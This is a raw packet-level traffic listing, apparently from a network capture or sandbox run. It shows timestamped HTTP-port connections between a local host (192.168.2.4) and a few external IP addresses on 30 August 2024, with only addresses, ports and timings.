Aug 30, 2024 03:17:06.878321886 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878329039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878340006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878350973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878350973 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878362894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878371000 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878371954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878372908 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.878382921 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878387928 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.878392935 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878405094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878412962 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.878416061 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878429890 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878438950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878438950 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878451109 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878452063 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878463030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878473997 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878478050 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878485918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878501892 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878516912 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878700018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878715992 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878731966 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878742933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878750086 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878752947 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878765106 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878770113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878776073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878787041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878792048 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878797054 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878808022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878818035 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878818989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878829002 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878830910 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878839970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878850937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878861904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878861904 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.878871918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878886938 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.879060030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.879070044 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.879079103 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.879086018 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.879087925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.879092932 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.879098892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879110098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879120111 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879125118 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.879129887 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879139900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879152060 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879153013 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879163027 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879163980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879177094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879188061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879190922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879199982 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879211903 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879216909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879236937 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879249096 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879276991 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879287958 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879319906 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879354954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879365921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879376888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879386902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879390955 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879398108 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879409075 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879410028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879419088 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879446030 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879609108 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879666090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879677057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879704952 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879714966 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879750967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879761934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879771948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879784107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879785061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879802942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879817009 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879865885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879877090 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879888058 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879911900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879914045 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879915953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879924059 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879924059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.879935026 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879950047 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879951954 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879961014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879970074 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.879971981 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.879972935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.879996061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880007982 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880023003 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880047083 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880058050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880080938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880088091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880091906 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880108118 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880115986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880127907 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880135059 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880137920 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880158901 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880177021 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880189896 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880199909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880209923 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880234003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880248070 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880250931 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880259037 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880281925 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880305052 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880319118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880330086 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880340099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880352020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880362034 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880363941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880373001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880376101 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880410910 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880410910 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880454063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880465031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880475998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880494118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880506992 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880530119 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880568981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880579948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880589962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880609035 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880610943 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880626917 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880637884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880640984 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880650043 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880661964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880665064 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880673885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880687952 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880705118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880714893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880718946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880738974 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880739927 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880752087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880762100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880775928 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880784035 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880794048 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880804062 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880815029 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880830050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880841017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880851984 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880876064 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880902052 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880913973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880945921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880970001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.880971909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880985022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.880995989 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881002903 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881007910 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881019115 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881023884 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881031036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881052017 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881069899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881078959 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881081104 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881098032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881107092 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881110907 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881122112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881129026 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881135941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881155014 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881177902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881217003 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881246090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881258011 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881279945 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881290913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881293058 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881300926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881315947 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881319046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881329060 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881330967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881345034 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881355047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.881356001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881382942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.881396055 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.882739067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.882762909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.882771969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.882785082 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.882798910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.882847071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.882863045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.882874012 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.882884979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.882896900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.882906914 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.882917881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.882940054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.883919001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.883929968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.883940935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.883970976 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.883994102 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.884020090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.884030104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.884047031 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.884057045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.884067059 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.884068966 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.884094000 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.884105921 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.889545918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.889590025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.889600992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.889636040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.889661074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.889703035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.889712095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.889745951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.889756918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.889965057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.889976978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.889987946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890008926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890022039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890033007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890044928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890077114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890291929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890301943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890326023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890331984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890336990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890347004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890362024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890369892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890396118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890701056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890741110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890783072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890825033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890893936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890918016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890928984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890933037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890954971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890964985 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.890985966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.890996933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891014099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891026020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891031981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.891036987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891052008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.891077995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.891617060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891635895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891647100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891657114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891674042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.891689062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891690016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.891701937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891712904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891736984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.891740084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891750097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.891762972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891773939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.891776085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.891804934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.892527103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892538071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892548084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892574072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.892584085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.892621040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892632961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892643929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892654896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892657995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.892671108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.892690897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.892728090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892739058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892749071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.892760038 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.892770052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.892771959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.892782927 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.892784119 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.892812014 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.892818928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.892832994 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.892842054 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.892853975 CEST	80	49735	31.41.244.9	192.168.2.4
